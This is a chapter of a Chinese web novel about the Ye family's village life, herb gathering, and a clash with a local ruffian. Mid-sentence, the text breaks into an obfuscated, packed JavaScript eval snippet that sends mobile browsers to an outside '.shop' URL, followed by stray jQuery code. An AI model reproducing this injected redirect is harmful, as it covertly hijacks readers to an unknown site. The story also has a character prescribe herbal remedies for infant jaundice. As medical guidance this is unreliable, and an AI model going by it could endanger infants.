码头那边的鱼贩子连着几日没露面,镇上闹了肚子的人家骂了好几天,可谁也不晓得那鱼贩子是哪个村的,最后只得偃旗息鼓,各自憋屈地回家了。
叶昌顺这几日也气哼哼的,眉头就没舒展过。叶时雨以为他是气那鱼贩子跑路,特意把麦黄抱过去。想哄他开怀。
谁知叶昌顺捋着猫背,幽幽叹了口气:“这河里的鱼,那么多人天天去抓,哪还有大鱼。鱼贩子手里头养着的,那才叫肥嫩。”
他爱猫,也像猫一样,极爱吃鱼。
叶时雨只觉好笑,随口道:“大伯既然这么爱吃鱼,自个儿养点不就好了?”
二伯叶昌盛嗤了声,旱烟袋在石板上磕得邦邦响:“说得轻巧。你当咱们没养过?我和你大伯年轻时,合伙买了三百尾鱼苗,就养在山上那个塘子里。眼瞅着鱼快长成了,不知哪个黑心烂肺的东西,一包药撒下去,将塘子里的鱼全药翻了。”
叶昌顺面沉似水,粗糙的手一下一下顺着麦黄背上的毛,半晌才开口:“满满啊,你记住,这世上许多人,最见不得的,就是原本跟他们一样吃糠咽菜的人,突然能吃得起肉了。”
叶时雨面露愕然。
叶昌顺没看她,目光落到远处连绵的群山。麦黄已经舒服地眯起了眼睛,喉咙里发出呼噜呼噜的声响。
“要么,你就和他们混在一处,一样穷,一样烂在泥里。要么……”叶昌顺顿了顿,终于转过脸来看向她,“你就要比他们站得更高,高到他们只能仰望你,心里生不出一丝嫉妒。”
这话如一粒石子投入湖中,在叶时雨心头漾起一圈又一圈涟漪。
接连几天细雨后,天终于放晴了。
叶时雨背着竹篓出门,叶千柔、叶明成、叶光霁和叶玲珑已经等在巷口了。
“满满姐。”叶千柔和叶明成朝她挥手。
“六姑姑。”两个小的也跟着叫。
叶时雨看向叶光霁和叶玲珑,有些意外:“哟,你俩怎么也跟着出来了?”
这俩孩子都是大伯家的,今年都六岁,只不过叶光霁年初出生,叶玲珑年尾落地。
叶千柔细声细气地解释:“他俩听说我要跟你一块去挖野菜,非闹着跟来,娘就让我看好他俩。”
叶时雨目光落在俩小娃背后的小竹篓上,笑了笑:“准备得还挺齐全。”
“我爹特意给他们编的呢。”叶明成得意地说。他爹就是叶昌盛,会些编织的活计,家里竹篓竹篮之类,都是他亲手做的。
叶明成又往四下扫了一圈,压低声音,“我爹说了,要是挖的野菜鲜嫩好吃,就给我一文钱买糖。”
叶光霁一本正经地叉腰:“八叔,我爹说了,小儿郎要能吃苦,不能总惦记着吃糖。”
叶明成瞪他:“你爹还说了,秋收后要送你去学堂。到时候天天被夫子打手板心,看你还嘴硬不嘴硬。”
叶光霁果然蔫下来,垂着脑袋不吭声了。
叶玲珑凑过去拽叶明成袖子:“八叔,学堂是什么样儿的?夫子很凶吗?”
叶明成立刻滔滔不绝讲起来。他上过三年学堂,实在是背不进那些之乎者也,叶昌盛两口子才歇了让他读书科举的念头。这一说起来,当真眉飞色舞,把那学堂说成了龙潭虎穴。
叶时雨看着几个小的插科打诨,嘴角忍不住往上翘,挥挥手:“走啦。再磨蹭就到晌午了。”
春光正好,日头暖洋洋地铺下来,草木抽了新芽,远远看去像是笼着一层青烟。田野里的大麦结了穗,油菜花也开得正好,金灿灿铺了一片。
几人来到一片坡地,这里野草生长旺盛,荠菜鲜嫩,野芹水灵,野豌豆苗翠绿,马齿苋苗肥厚,随处可见三三两两挖野菜的妇人和小孩。
叶玲珑头一个冲过去,小手拔下一棵荠菜,利落丢进背篓里。叶光霁不甘示弱,也蹲到旁边去薅。两人比赛似的,不一会儿篓子里就铺了一层青绿。
叶时雨往旁边挪了几步,目光落在一丛白蒿上。它的叶子细碎,正面青绿,背面覆着一层白色绒毛,摸上去软乎乎的。
叶千柔跟过来蹲在她旁边,边掐白蒿嫩尖边说:“大哥曾教我们读诗,有一句‘春日迟迟,采蘩祁祁’,这个繁就是白蒿。”
叶玲珑耳尖,乐颠颠跑过来,大声吹捧:“七姑姑懂得真多,不愧是咱家的才女。”
她是叶时雨三哥叶玉堂的女儿,下边还有个一岁多的妹妹。叶家人里,就属她嘴甜,情绪价值拉满,因此颇受大人宠爱。
叶千柔脸红了,低下头假装专心摘野菜,耳朵尖都烧起来。叶时雨看着好笑,刚要打趣两句,叶明成凑过来,捏着棵白蒿翻来覆去地看,忽然问:“满满姐,这白蒿是不是能入药?”
叶时雨随口道答:“是呀,白蒿味苦、性凉,能清热利湿、解毒,主治黄疸、痢疾、腹泻、湿痹、疥癞这些症候。一般跟茵陈蒿或是金银花配在一起用,利湿解毒。”
她说话时手上没停,掐下来的白蒿嫩尖整整齐齐码在竹篓里。回去叫叶晨风剁碎了掺点白面蒸馍馍,最是爽口。
叶明成却停下了手里的动作,眼睛一眨不眨地盯着她:“那要是治黄疸呢,用什么配伍?”
叶时雨惊诧地看了他一眼。这小子是二伯的老来子,家里惯得厉害,调皮捣蛋,又娇气爱哭。平常只见他上山捉鸟下河摸鱼,从没对别的东西上过心。
她手上不停,状似不经意地问:“怎么突然问起这个?”
叶明成挠了挠后脑勺,眼神乱飘:“就……前几天去看小云舒,她脸上黄黄的,大嫂说是黄疸。我就想着,有没有药能治。”
叶时雨“噢”了一声,心道这小子平时看着不着调,没想到还挺细心,便耐心解释起来。
“小儿黄疸很常见。像小云舒那样,精神好,吃得香,睡得稳,一般都不用担心,多晒晒太阳就行。可要是孩子肤色黄得厉害,精神不济,又哭又闹,甚至腹胀发热,那就要用药了。”
叶明成听得认真,不知不觉把手里那棵白蒿的叶子都揪秃了,又追问:“那要用什么药?”
叶时雨想了想,尽量说得浅显些:“分情况。若是阳黄,孩子皮肤黄得像橘皮,鲜亮亮的,多半还发热口渴,小便黄赤。这种情况用白蒿配金钱草、地耳草、郁金、半夏,清热利湿,效果不错。”
叶明成将那几味药念叨了几遍,继续问:“除了阳黄,是不是还有阴黄?”
“是呀,若是阴黄,孩子肤色暗沉,大便稀溏,便不能用方才那个方子。那里头有几味药材偏凉性,用了反而加重病情。婴儿脏腑娇嫩,用药尤其要谨慎。”
叶明成听得张大了嘴,半晌才吐出一口气:“原是这样!我还以为黄疸都是一样的治法呢。”
叶时雨笑了笑:“同一种病在不同人身上,用药天差地别。医者最忌照搬方子,容易出事。”
叶明成低头看着手里被揪秃了的白蒿,好半天没说话。
叶时雨试探着问:“阿成,你是想学医?”
叶明成猛地抬起头,脸涨红了:“我,我没有。”
瞧见叶千柔和两个侄儿疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766744|209725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惑的神情,他绞着手指,支吾半天终于说出心里话:“我不想当郎中给人看病,我就是觉得,一棵草跟不同的草配在一起,就能生出不同的功效,跟变戏法似的。”
叶时雨问:“所以你的意思是,你想学制药?”
叶明成整日里东游西荡,叶昌盛两口子嘴上不说,心里犯愁。去年年底,他们还商量过给叶明成寻个师傅学门手艺,左思右想后,到底舍不得他小小年纪出去吃苦受罪,便歇了念头。
叶时雨心里一动,将手里的一把野菜扔进竹篓,淡声道:“这样吧,往后我采药制药时,你跟着一起。我教你认药,教你炮制,如何?”
叶明成眼睛一亮:“真的?”
可马上他又露出怀疑的神色:“满满姐,你跟着陆大夫也只学了个皮毛吧?自己都只是个半吊子,能教我吗?”
叶时雨怒了,挥手赶他:“滚滚滚,当我没说。”
叶明成却扑过去抱住她胳膊,声音都扬了起来:“对不住满满姐,我错了,你别生气。我现在就回去跟爹娘说,你不许反悔!”
说罢,把腿就朝家跑,跑了两步还不忘回头冲她喊:"满满姐你等着我!"
“哼!”叶时雨翻了个白眼,懒得理他。
叶光霁和叶玲珑笑弯了腰。叶千柔轻轻撞了撞叶时雨胳膊:“满满姐,你真打算教他?”
“他既然有兴趣,就学学呗,又没什么损失,总比整日里摸鱼捉鸟强。”叶时雨挪了个地方继续掐野菜,“人这一辈子,能碰上一件真正喜欢的事情不容易。”
叶千柔若有所思地点了点头,没再追问。
河岸的风吹过来,带着青草与水腥气混在一起的味道,暖融融的。叶时雨擦了擦额角的细汗,四下望了望。
叶玲珑已经跑去另一边挖荠菜,小小的身影蹲在草丛里,时不时举起来一棵,冲叶光霁炫耀“你看这个大不大”。叶光霁跟在她后头,嘴上嫌弃她吵,手底下却偷偷把自己挖的荠菜往她篓子里塞。
叶时雨忍不住笑起来。
就在这时,坡地下头忽然传来一声女人的尖叫。
“放开我!”
叶时雨猛地站起来,朝几个小的交代了声“待着别动”,就朝声音传来的方向跑。
坡地下是一条小路,一个妇人捂着胸口连连后退,一个三十来岁的男人正笑嘻嘻朝她凑过去,伸手去扯她衣襟。
那男人叶时雨认得,叫陈耀辉,是镇上有名的痞子。媳妇死了好几年,一直没续娶,整日里在这周边晃荡,谁家少了鸡丢了菜,十次里有八次是他干的。
叶时雨几步冲到近前,一把将那妇人拉到身后,顺势一脚踹在陈耀辉小腿上。这一脚使了七分力,陈耀辉没防备,踉跄着退了两步,险些摔倒。
“又是你这个死丫头!”陈耀辉稳住了身形,一看是她,脸色顿时变了,又气又恼。
去年他在山脚下抢叶时雨的背篓,被她一脚踹了裆,疼了好些天。后来他鼓动附近一带的地痞来围堵,恰好被叶晨风撞见,揍趴了一干人。那一回,他半个月没下得来床。
如今见着叶时雨,他感觉自己肋骨还在隐隐作痛。
那妇人趁这个空当,哆嗦着道了声谢,头也不回跑了。
陈耀辉见人跑了,恼羞成怒,指着叶时雨怒骂:“臭丫头,我跟你二伯家还是亲戚呢,论辈分你得喊我一声叔!你三番两次跟长辈动手,眼里还有没有尊卑了?果然是有娘生没娘养的东西!”
叶时雨原本都打算走了,听到这话脚步一顿,回过头来。